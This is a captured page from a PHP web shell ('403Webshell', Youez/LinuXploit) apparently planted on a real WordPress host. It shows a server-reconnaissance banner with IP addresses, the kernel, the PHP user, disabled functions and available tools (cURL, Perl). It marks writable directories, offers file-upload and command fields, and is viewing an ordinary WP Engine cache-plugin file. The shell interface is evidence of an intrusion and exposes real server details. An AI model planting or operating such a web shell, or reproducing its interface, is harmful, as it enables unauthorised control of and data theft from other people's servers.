403Webshell
Server IP : 141.193.213.10  /  Your IP : 216.73.216.190
Web Server : nginx
System : Linux pod-400555 6.8.0-1055-gke #61-Ubuntu SMP Tue May 26 22:57:42 UTC 2026 x86_64
User : fpm200079 ( 200079)
PHP Version : 8.2.35
Disable Function : apache_child_terminate,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,disk_free_space,disk_total_space,diskfreespace,dl,exec,fastcgi_finish_request,link,opcache_compile_file,opcache_get_configuration,opcache_invalidate,opcache_is_script_cached,opcache_reset,passthru,pclose,pcntl_exec,popen,posix_getpid,posix_getppid,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,realpath_cache_get,shell_exec,show_source,symlink,system
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nas/content/live/bartislaw/wp-content/mu-plugins/wpe-cache-plugin/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /nas/content/live/bartislaw/wp-content/mu-plugins/wpe-cache-plugin/view/quick-actions.php
<?php

declare(strict_types=1);

namespace wpengine\cache_plugin;

require_once __DIR__ . '/../clear-all-cache-status.php';
require_once __DIR__ . '/../security/security-checks.php';
require_once __DIR__ . '/../wpe-common-adapter.php';

\wpengine\cache_plugin\check_security();

class QuickActions {

	public static function display( int $status = ClearAllCacheStatus::DEFAULT ) {

		?>
		<div class="wpe-quick-actions wpe-common-plugin-container">
			<h2>Quick Actions</h2>
			<p>Caching reduces the load on your site by storing the results of a request, so that it can be served to the next visitor. This significantly increases the speed of the site. However, this can lead to a visitor receiving an old version of the page. This can be fixed by clearing the cache below.</p>
			<p><b>Note:</b> Cache is cleared by environment not by domain.</p>
			<?php
			self::display_panel_links();
			self::display_all_cache_button_panel( $status );
			?>
		</div>
		<?php
	}

	private static function display_panel_links() {
		$site_name = WpeCommonAdapter::get_instance()->get_site_name();
		?>
		<div class="wpe-admin-button-controls">
			<a href=<?php echo esc_url( 'https://my.wpengine.com/installs/' . $site_name . '/domains' ); ?> target='_blank'> Clear Global Edge Security caches by domain in Portal</a>
			<a href=<?php echo esc_url( 'https://my.wpengine.com/installs/' . $site_name . '/cache_dashboard' ); ?> target='_blank'> Clear Advanced Network cache by domain in Portal</a>
			<a href='https://wpengine.com/support/cache/' target='_blank'>Learn more about caching</a>
		</div>
		<?php
	}

	private static function display_all_cache_button_panel( int $status ) {
		?>
		<div class="wpe-common-cta-panel">
			<div class="wpe-common-cta-wrap">
				<div id="wpe-clear-all-cache-icon" class="wpe-admin-icon-check-solid"></div>
				<div class="wpe-common-cta-text">
					<p class="wpe-common-cta-heading">Clear all caches at once</p>
					<p>This will slow down your site until caches are rebuilt.</p>
					<?php self::display_multisite_info_text(); ?>
					<p id="wpe-last-cleared-text"></p>
					<p id="wpe-last-cleared-error-text"></p>
				</div>
			</div>
			<div class="wpe-common-cta-button">
				<button id="wpe-clear-all-cache-btn" class="wpe-admin-button-primary">Clear all caches</button>
			</div>
		</div>
		<?php
	}

	private static function display_multisite_info_text() {
		if ( is_multisite() ) {
			?>
			<p id="wpe-multisite-info-text" style="font-size: small; max-width: 400px;">For multisite environments, using this tool will clear caches for all sites. This will slow down your sites until caches are rebuilt</p>
			<?php
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit